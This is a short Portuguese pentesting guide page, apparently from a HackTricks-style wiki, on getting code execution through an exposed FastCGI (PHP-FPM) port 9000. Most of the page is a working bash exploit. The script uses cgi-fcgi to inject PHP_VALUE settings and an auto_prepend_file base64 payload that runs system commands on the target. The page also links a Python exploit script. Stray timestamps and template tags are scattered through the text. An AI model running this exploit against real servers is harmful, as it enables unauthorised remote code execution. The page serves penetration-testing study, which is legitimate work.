Se você quer **aprender o que é FastCGI**, confira a seguinte página:
2021-01-06 17:11:57 +00:00
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
2021-11-30 16:46:07 +00:00
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}

Por padrão, o **FastCGI** roda na porta **9000** e não é reconhecido pelo nmap. **Normalmente**, o FastCGI só escuta em **localhost**.

É bastante fácil fazer o FastCGI executar código arbitrário:
2021-01-06 17:11:57 +00:00
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```

ou você também pode usar o seguinte script em python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
